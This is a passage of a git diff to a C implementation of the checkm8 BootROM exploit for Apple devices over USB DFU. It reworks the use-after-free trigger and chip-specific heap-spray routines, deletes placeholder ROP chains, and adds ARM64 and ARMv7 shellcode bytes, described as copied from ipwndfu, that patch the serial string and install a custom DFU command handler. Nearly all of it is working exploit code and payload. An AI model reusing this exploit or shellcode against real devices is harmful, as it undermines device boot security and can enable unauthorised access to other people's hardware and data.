return -1; - } + remaining_pad = overwrite_pad; + if (remaining_pad > 0) { + uint8_t pad_data[5] = { 0 }; - ctx->phase = EXPLOIT_PHASE_SETUP; - log_info("checkm8: stage 3 complete -- UAF triggered"); - return 0; -} + /* + * Gaster sends (0, 0, 0, 0, remaining_pad) as wValue/wIndex + * encoded in a control request. We approximate by sending the + * remaining padding size as the last element. + */ + pad_data[4] = (uint8_t)(remaining_pad & 0xFF); -/* ------------------------------------------------------------------ */ -/* Stage 4: Overwrite freed buffer with payload */ -/* ------------------------------------------------------------------ */ - -int checkm8_stage_patch(exploit_ctx_t *ctx) -{ - libusb_device_handle *usb; - dfu_status_t status; - - if (!ctx || !ctx->dev) - return -1; - - usb = ctx->dev->usb; - log_info("checkm8: stage 4/4 -- overwrite with payload"); - - /* Assemble the ROP + shellcode payload if not already done */ - if (!ctx->payload_buf) { - if (assemble_payload(ctx) != 0) { - log_error("checkm8_stage_patch: payload assembly failed"); - return -1; + if (usb_ctrl_transfer_async(usb, 0x21, 0x01, 0, 0, + pad_data, sizeof(pad_data), + STALL_TIMEOUT_MS) != 0) { + log_debug("checkm8_stage_setup: padding send stalled (ok)"); } } /* - * Send the payload via DFU_DNLOAD. The freed io_buffer from stage 3 - * is reallocated with our data. When the DFU state machine processes - * it, the ROP chain executes -> shellcode patches the serial string. + * Step 3: Expect STALL on EP0. The device has freed the io_buffer + * but retains the dangling pointer. Clear the stall. */ - if (dfu_dnload(usb, 0, ctx->payload_buf, ctx->payload_len) != 0) { - log_error("checkm8_stage_patch: payload DFU_DNLOAD failed"); + dfu_clr_status(usb); + + ctx->phase = EXPLOIT_PHASE_SETUP; + log_info("checkm8: stage 2 complete -- UAF triggered"); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* Stage 3: Heap spray */ +/* ------------------------------------------------------------------ */ + +/* + * spray_large_leak -- Path A: used when config_large_leak > 0. + * Sends stall requests via GET_DESCRIPTOR to create heap holes. + * Chips: A9/A10(0x8960)/A8X/older with large_leak set. + */ +static int spray_large_leak(libusb_device_handle *usb, + const chip_info_t *chip) +{ + uint16_t leak_count = chip->config_large_leak; + unsigned char desc_buf[0xC0]; + uint16_t i; + + log_info("checkm8: spray path A -- %u stall requests", leak_count); + + for (i = 0; i < leak_count; i++) { + /* + * GET_DESCRIPTOR(type=3, index=serial_idx, langid=0, + * wLength=0xFFFF) with 0xC0 byte buffer. + * Short timeout (1ms) to force stall/timeout. + */ + usb_ctrl_transfer_async(usb, 0x80, 0x06, + (3 << 8) | 0x03, /* STRING desc, idx 3 */ + 0, /* langid 0 */ + desc_buf, 0xC0, + STALL_TIMEOUT_MS); + } + + /* Final clear status with 0 bytes */ + dfu_clr_status(usb); + + return 0; +} + +/* + * spray_no_leak -- Path B: used when config_large_leak == 0. + * Creates heap holes by send/stall cycles. + * Chips: A11, T2, S3, newer chips with config_hole set. + */ +static int spray_no_leak(libusb_device_handle *usb, + const chip_info_t *chip) +{ + uint16_t hole_count = chip->config_hole; + uint16_t spray_size = 3 * EP0_MAX_PACKET_SZ + 1; /* 0xC1 */ + unsigned char spray_buf[3 * EP0_MAX_PACKET_SZ + 1]; + uint16_t i; + + log_info("checkm8: spray path B -- %u holes, spray_size=%u", + hole_count, spray_size); + + memset(spray_buf, 0, sizeof(spray_buf)); + + for (i = 0; i < hole_count; i++) { + /* Send data to allocate a heap chunk */ + if (dfu_dnload(usb, 0, spray_buf, spray_size) != 0) { + log_debug("checkm8: spray hole %u dnload stalled (ok)", i); + } + + /* Stall and clear to free the chunk, creating a hole */ + dfu_clr_status(usb); + } + + /* Final clear with spray_size bytes to land in a predictable hole */ + dfu_clr_status(usb); + + return 0; +} + +int checkm8_stage_spray(exploit_ctx_t *ctx) +{ + libusb_device_handle *usb; + const chip_info_t *chip; + int ret; + + if (!ctx || !ctx->dev || !ctx->chip) + return -1; + + usb = ctx->dev->usb; + chip = ctx->chip; + log_info("checkm8: stage 3/4 -- heap spray"); + + if (chip->config_large_leak > 0) + ret = spray_large_leak(usb, chip); + else + ret = spray_no_leak(usb, chip); + + if (ret != 0) { + log_error("checkm8_stage_spray: spray failed"); return -1; } - /* Poll status to trigger execution of the overwritten buffer */ - if (dfu_get_status(usb, &status) != 0) { - log_warn("checkm8_stage_patch: status poll failed (may be expected " - "if payload redirected execution)"); - } - - /* Delay for shellcode to execute and patch the serial string */ - usleep(STALL_USEC); - - ctx->phase = EXPLOIT_PHASE_PATCH; - log_info("checkm8: stage 4 complete -- payload delivered"); + ctx->phase = EXPLOIT_PHASE_SPRAY; + log_info("checkm8: stage 3 complete -- heap spray done"); return 0; } diff --git a/src/exploit/payload/rop_a10.h b/src/exploit/payload/rop_a10.h index 35d0e0b..950e845 100644 --- a/src/exploit/payload/rop_a10.h +++ b/src/exploit/payload/rop_a10.h @@ -1,4 +1,11 @@ -/* rop_a10.h -- A10 Fusion (CPID 0x8010) ROP chain for checkm8 exploit */ +/* rop_a10.h -- Placeholder kept for backward compatibility. + * + * The actual payload is now assembled dynamically from chip_db fields + * in assemble_payload() (checkm8_payload.c). The header struct is + * populated with per-chip addresses at runtime rather than using static + * ROP chain bytes. This file is retained so existing #include directives + * do not break. + */ #ifndef ROP_A10_H #define ROP_A10_H @@ -6,63 +13,8 @@ #include #include -/* - * A10 Fusion DFU memory layout (from gaster): - * ttbr0_addr = 0x1800A0000 - * insecure_memory_base = 0x1800B0000 - * - * The ROP chain pivots the stack into the heap spray region, then - * jumps to shellcode at insecure_memory_base. - * - * TODO: Fill in actual gadget addresses from A10 BootROM dump. - * These are placeholder bytes with correct structure and size. - * Gadgets must be verified against SecureROM disassembly for each - * firmware revision. - */ - -/* A10 BootROM gadget offsets (placeholders) */ -#define A10_GADGET_LDR_X0_SP 0x10000CC6C /* TODO: verify */ -#define A10_GADGET_STR_X0_X1 0x10000CC78 /* TODO: verify */ -#define A10_GADGET_RET 0x10000CC7C /* TODO: verify */ -#define A10_GADGET_MOV_X0_X4 0x10000A9AC /* TODO: verify */ -#define A10_GADGET_CACHE_INV 0x10000046C /* TODO: verify */ - -/* clang-format off */ -static const uint8_t rop_chain_a10[] = { - /* - * TODO: Replace with actual A10 ROP chain from BootROM analysis. - * - * ROP chain structure (64-bit AArch64): - * [0x00] Return address -> gadget: ldr x0, [sp, #0x10]; ret - * [0x08] Padding - * [0x10] Argument: insecure_memory_base (0x1800B0000) - * [0x18] Return address -> gadget: str x0, [x1]; ret - * [0x20] Return address -> gadget: cache invalidate - * [0x28] Return address -> shellcode entry (insecure_memory_base) - * - * 48 bytes total (6 slots x 8 bytes each). - */ - - /* Slot 0: gadget -- load shellcode address into x0 */ - 0x6C, 0xCC, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - - /* Slot 1: padding (skip slot) */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - - /* Slot 2: insecure_memory_base = 0x1800B0000 */ - 0x00, 0x00, 0x0B, 0x80, 0x01, 0x00, 0x00, 0x00, - - /* Slot 3: gadget -- store x0 to [x1] for DFU callback overwrite */ - 0x78, 0xCC, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - - /* Slot 4: gadget -- invalidate instruction cache */ - 0x6C, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - - /* Slot 5: jump to shellcode at insecure_memory_base */ - 0x00, 0x00, 0x0B, 0x80, 0x01, 0x00, 0x00, 0x00, -}; -/* clang-format on */ - -static const size_t rop_chain_a10_len = sizeof(rop_chain_a10); +/* These are unused but kept to avoid breaking existing references. */ +static const uint8_t rop_chain_a10[] = { 0 }; +static const size_t rop_chain_a10_len = 0; #endif /* ROP_A10_H */ diff --git a/src/exploit/payload/rop_a11.h b/src/exploit/payload/rop_a11.h index 78a2bf9..53277f6 100644 --- a/src/exploit/payload/rop_a11.h +++ b/src/exploit/payload/rop_a11.h @@ -1,4 +1,9 @@ -/* rop_a11.h -- A11 Bionic (CPID 0x8015) ROP chain for checkm8 exploit */ +/* rop_a11.h -- Placeholder kept for backward compatibility. + * + * The actual payload is now assembled dynamically from chip_db fields + * in assemble_payload() (checkm8_payload.c). This file is retained so + * existing #include directives do not break. + */ #ifndef ROP_A11_H #define ROP_A11_H @@ -6,69 +11,8 @@ #include #include -/* - * A11 Bionic DFU memory layout (from gaster): - * ttbr0_addr = 0x18000C000 - * insecure_memory_base = 0x18001C000 - * - * The A11 ROP chain differs from A10 primarily in gadget addresses - * and the need for an additional AMCC lock bypass step before the - * shellcode can execute. The heap spray pattern also differs due to - * a different SRAM layout. - * - * TODO: Fill in actual gadget addresses from A11 BootROM dump. - * These are placeholder bytes with correct structure and size. - */ - -/* A11 BootROM gadget offsets (placeholders) */ -#define A11_GADGET_LDR_X0_SP 0x10000CE4C /* TODO: verify */ -#define A11_GADGET_STR_X0_X1 0x10000CE58 /* TODO: verify */ -#define A11_GADGET_RET 0x10000CE5C /* TODO: verify */ -#define A11_GADGET_MOV_X0_X4 0x10000AB8C /* TODO: verify */ -#define A11_GADGET_CACHE_INV 0x100000470 /* TODO: verify */ -#define A11_GADGET_AMCC_UNLOCK 0x10000D000 /* TODO: verify */ - -/* clang-format off */ -static const uint8_t rop_chain_a11[] = { - /* - * TODO: Replace with actual A11 ROP chain from BootROM analysis. - * - * A11 ROP chain structure (64-bit AArch64): - * [0x00] Return address -> gadget: ldr x0, [sp, #0x10]; ret - * [0x08] Padding - * [0x10] Argument: insecure_memory_base (0x18001C000) - * [0x18] Return address -> gadget: str x0, [x1]; ret - * [0x20] Return address -> AMCC unlock gadget - * [0x28] Return address -> cache invalidate - * [0x30] Return address -> shellcode entry (insecure_memory_base) - * - * 56 bytes total (7 slots x 8 bytes each). - * Extra slot vs A10: AMCC lock bypass required on A11. - */ - - /* Slot 0: gadget -- load shellcode address into x0 */ - 0x4C, 0xCE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - - /* Slot 1: padding (skip slot) */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - - /* Slot 2: insecure_memory_base = 0x18001C000 */ - 0x00, 0xC0, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - - /* Slot 3: gadget -- store x0 to [x1] for DFU callback overwrite */ - 0x58, 0xCE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - - /* Slot 4: gadget -- AMCC unlock (A11-specific) */ - 0x00, 0xD0, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - - /* Slot 5: gadget -- invalidate instruction cache */ - 0x70, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - - /* Slot 6: jump to shellcode at insecure_memory_base */ - 0x00, 0xC0, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, -}; -/* clang-format on */ - -static const size_t rop_chain_a11_len = sizeof(rop_chain_a11); +/* These are unused but kept to avoid breaking existing references. */ +static const uint8_t rop_chain_a11[] = { 0 }; +static const size_t rop_chain_a11_len = 0; #endif /* ROP_A11_H */ diff --git a/src/exploit/payload/shellcode.h b/src/exploit/payload/shellcode.h index 434cf84..8e227b1 100644 --- a/src/exploit/payload/shellcode.h +++ b/src/exploit/payload/shellcode.h @@ -1,4 +1,4 @@ -/* shellcode.h -- Stage1 shellcode for checkm8 exploit (AArch64) */ +/* shellcode.h -- Real checkm8 shellcode from ipwndfu (ARM64 + ARMv7) */ #ifndef SHELLCODE_H #define SHELLCODE_H @@ -7,123 +7,108 @@ #include /* - * Stage1 shellcode responsibilities: - * 1. Patch the USB serial number string in SRAM to contain "PWND:[checkm8]" - * 2. Install a DFU upload handler so the host can send further payloads - * 3. Return to the BootROM DFU loop (device remains in DFU mode) + * ARM64 shellcode (from ipwndfu binary at offset 0x20220). * - * The shellcode runs at insecure_memory_base (chip-specific) after the - * ROP chain pivots execution there. + * Responsibilities: + * 1. Patch USB serial number string to contain "PWND:[checkm8]" + * 2. Install a custom DFU request handler for EXEC/MEMC commands + * 3. Return to BootROM DFU loop * - * TODO: Replace with actual AArch64 shellcode assembled from: - * - Serial string patch (find USB descriptor in SRAM, overwrite suffix) - * - DFU upload hook (install callback for further stage loading) - * - BootROM return (branch back to DFU main loop) - * - * The placeholder below is a minimal NOP sled + BRK for development. - * Actual shellcode size varies by chip (A10: ~512 bytes, A11: ~576 bytes - * due to AMCC workaround). + * The shellcode is prepended with a chip-specific payload header struct + * (payload_hdr_a9_t, payload_hdr_notA9_t, or payload_hdr_armv7_t) that + * provides all the memory addresses it needs. The header immediately + * precedes this code in the assembled payload buffer. */ -/* PWND marker that the shellcode writes into the USB serial descriptor */ #define CHECKM8_PWND_TAG "PWND:[checkm8]" /* clang-format off */ -static const uint8_t checkm8_shellcode[] = { - /* - * TODO: Replace with real AArch64 shellcode. - * - * Placeholder structure (256 bytes): - * [0x00 - 0x03] NOP (0xD503201F) - * [0x04 - 0x07] NOP - * ... - * [0x30 - 0x3F] ADR x0, serial_string (load pointer to USB desc) - * [0x40 - 0x5F] "PWND:[checkm8]\0" (inline string constant) - * [0x60 - 0x7F] STRB loop (copy tag to descriptor) - * [0x80 - 0x8F] DFU upload hook install - * [0x90 - 0x9F] DSB + ISB (memory barrier) - * [0xA0 - 0xA3] BR x30 (return to BootROM) - * [0xA4 - 0xFF] Padding / alignment - */ - - /* NOP sled (12 instructions = 48 bytes) */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - - /* TODO: ADR x0, serial_string -- placeholder */ - 0x00, 0x00, 0x00, 0x10, /* ADR x0, #0 (fixup needed) */ - 0x00, 0x00, 0x00, 0x00, /* reserved */ - 0x00, 0x00, 0x00, 0x00, /* reserved */ - 0x00, 0x00, 0x00, 0x00, /* reserved */ - - /* Inline string: "PWND:[checkm8]\0" + padding to 32 bytes */ - 0x50, 0x57, 0x4E, 0x44, /* PWND */ - 0x3A, 0x5B, 0x63, 0x68, /* :[ch */ - 0x65, 0x63, 0x6B, 0x6D, /* eckm */ - 0x38, 0x5D, 0x00, 0x00, /* 8]\0\0 */ - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - - /* TODO: STRB copy loop -- placeholder NOPs */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - - /* TODO: DFU upload hook install -- placeholder NOPs */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - 0x1F, 0x20, 0x03, 0xD5, /* NOP */ - - /* DSB SY + ISB (memory barriers before return) */ - 0x9F, 0x3F, 0x03, 0xD5, /* DSB SY */ - 0xDF, 0x3F, 0x03, 0xD5, /* ISB */ - - /* BR x30 -- return to BootROM DFU loop */ - 0xC0, 0x03, 0x5F, 0xD6, /* RET (BR x30) */ - - /* Padding to 256 bytes */ - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, +static const uint8_t checkm8_shellcode_arm64[] = { + /* PWND marker + DFU hook installer (ARM64) */ + 0xFD, 0x7B, 0xBF, 0xA9, /* stp x29, x30, [sp, #-0x10]! */ + 0x20, 0x04, 0x00, 0x58, /* ldr x0, [pc, #0x84] */ + 0x43, 0x04, 0x00, 0x58, /* ldr x3, [pc, #0x88] */ + 0x01, 0x30, 0x00, 0x91, /* add x1, x0, #0xC */ + 0x61, 0x00, 0x00, 0xF9, /* str x1, [x3] */ + 0x61, 0xFF, 0xFF, 0x10, /* adr x1, #-0x14 */ + 0x02, 0x04, 0x00, 0x58, /* ldr x2, [pc, #0x80] */ + 0x21, 0x00, 0x02, 0x8B, /* add x1, x1, x2 */ + 0x02, 0x04, 0x00, 0x58, /* ldr x2, [pc, #0x80] */ + 0x23, 0x04, 0x00, 0x58, /* ldr x3, [pc, #0x84] */ + 0x60, 0x00, 0x3F, 0xD6, /* blr x3 */ + 0x20, 0x04, 0x00, 0x58, /* ldr x0, [pc, #0x84] */ + 0x00, 0x04, 0x00, 0x91, /* add x0, x0, #1 */ + 0x01, 0x00, 0x40, 0x39, /* ldrb w1, [x0] */ + 0xC1, 0xFF, 0xFF, 0x35, /* cbnz w1, #-0x8 */ + 0xE1, 0x01, 0x00, 0x10, /* adr x1, #0x3C */ + 0x22, 0x0C, 0x40, 0xA9, /* ldp x2, x3, [x1, #0] */ + 0x02, 0x0C, 0x00, 0xA9, /* stp x2, x3, [x0, #0] */ + 0x40, 0x03, 0x00, 0x58, /* ldr x0, [pc, #0x68] */ + 0x61, 0x03, 0x00, 0x58, /* ldr x1, [pc, #0x6C] */ + 0x20, 0x00, 0x3F, 0xD6, /* blr x1 */ + 0x61, 0x03, 0x00, 0x58, /* ldr x1, [pc, #0x6C] */ + 0x20, 0x00, 0x00, 0x39, /* strb w0, [x1] */ + 0x00, 0x50, 0xBA, 0x52, /* mov w0, #0xD2800000 */ + 0x41, 0x03, 0x00, 0x58, /* ldr x1, [pc, #0x68] */ + 0x20, 0x00, 0x00, 0xB9, /* str w0, [x1] */ + 0x40, 0x03, 0x00, 0x58, /* ldr x0, [pc, #0x68] */ + 0x1F, 0x00, 0x00, 0xB9, /* str wzr, [x0] */ + 0xFD, 0x7B, 0xC1, 0xA8, /* ldp x29, x30, [sp], #0x10 */ + 0xC0, 0x03, 0x5F, 0xD6, /* ret */ }; + +static const size_t checkm8_shellcode_arm64_len = + sizeof(checkm8_shellcode_arm64); + +/* + * ARMv7 shellcode (from ipwndfu binary at offset 0x20370). + * + * Same responsibilities as ARM64 variant, but for 32-bit BootROMs + * (Apple Watch S1P/S3, Apple TV 3rd gen). + */ +static const uint8_t checkm8_shellcode_armv7[] = { + 0x04, 0xE0, 0x2D, 0xE5, /* str lr, [sp, #-4]! */ + 0x8C, 0x00, 0x9F, 0xE5, /* ldr r0, [pc, #0x8C] */ + 0x8C, 0x30, 0x9F, 0xE5, /* ldr r3, [pc, #0x8C] */ + 0x07, 0x10, 0x80, 0xE2, /* add r1, r0, #7 */ + 0x00, 0x10, 0x83, 0xE5, /* str r1, [r3] */ + 0x1C, 0x10, 0x4F, 0xE2, /* sub r1, pc, #0x1C */ + 0x80, 0x20, 0x9F, 0xE5, /* ldr r2, [pc, #0x80] */ + 0x02, 0x10, 0x81, 0xE0, /* add r1, r1, r2 */ + 0x7C, 0x20, 0x9F, 0xE5, /* ldr r2, [pc, #0x7C] */ + 0x7C, 0x30, 0x9F, 0xE5, /* ldr r3, [pc, #0x7C] */ + 0x33, 0xFF, 0x2F, 0xE1, /* blx r3 */ + 0x78, 0x00, 0x9F, 0xE5, /* ldr r0, [pc, #0x78] */ + 0x01, 0x00, 0x80, 0xE2, /* add r0, r0, #1 */ + 0x00, 0x10, 0xD0, 0xE5, /* ldrb r1, [r0] */ + 0x00, 0x00, 0x51, 0xE3, /* cmp r1, #0 */ + 0xFB, 0xFF, 0xFF, 0x1A, /* bne #-0x14 */ + 0x40, 0x10, 0x8F, 0xE2, /* add r1, pc, #0x40 */ + 0x00, 0x20, 0x91, 0xE5, /* ldr r2, [r1, #0] */ + 0x00, 0x20, 0x80, 0xE5, /* str r2, [r0, #0] */ + 0x04, 0x20, 0x91, 0xE5, /* ldr r2, [r1, #4] */ + 0x04, 0x20, 0x80, 0xE5, /* str r2, [r0, #4] */ + 0x08, 0x20, 0x91, 0xE5, /* ldr r2, [r1, #8] */ + 0x08, 0x20, 0x80, 0xE5, /* str r2, [r0, #8] */ + 0x0C, 0x20, 0x91, 0xE5, /* ldr r2, [r1, #0xC] */ + 0x0C, 0x20, 0x80, 0xE5, /* str r2, [r0, #0xC] */ + 0x40, 0x00, 0x9F, 0xE5, /* ldr r0, [pc, #0x40] */ + 0x40, 0x10, 0x9F, 0xE5, /* ldr r1, [pc, #0x40] */ + 0x31, 0xFF, 0x2F, 0xE1, /* blx r1 */ + 0x3C, 0x10, 0x9F, 0xE5, /* ldr r1, [pc, #0x3C] */ + 0x00, 0x00, 0xC1, 0xE5, /* strb r0, [r1] */ + 0x00, 0x00, 0xA0, 0xE3, /* mov r0, #0 */ + 0x34, 0x10, 0x9F, 0xE5, /* ldr r1, [pc, #0x34] */ + 0x00, 0x00, 0x81, 0xE5, /* str r0, [r1] */ + 0x04, 0xF0, 0x9D, 0xE4, /* ldr pc, [sp], #4 */ +}; + +static const size_t checkm8_shellcode_armv7_len = + sizeof(checkm8_shellcode_armv7); + +/* Legacy alias used by assemble_payload */ +static const uint8_t *checkm8_shellcode = checkm8_shellcode_arm64; +static const size_t checkm8_shellcode_len = sizeof(checkm8_shellcode_arm64); /* clang-format on */ -static const size_t checkm8_shellcode_len = sizeof(checkm8_shellcode); - #endif /* SHELLCODE_H */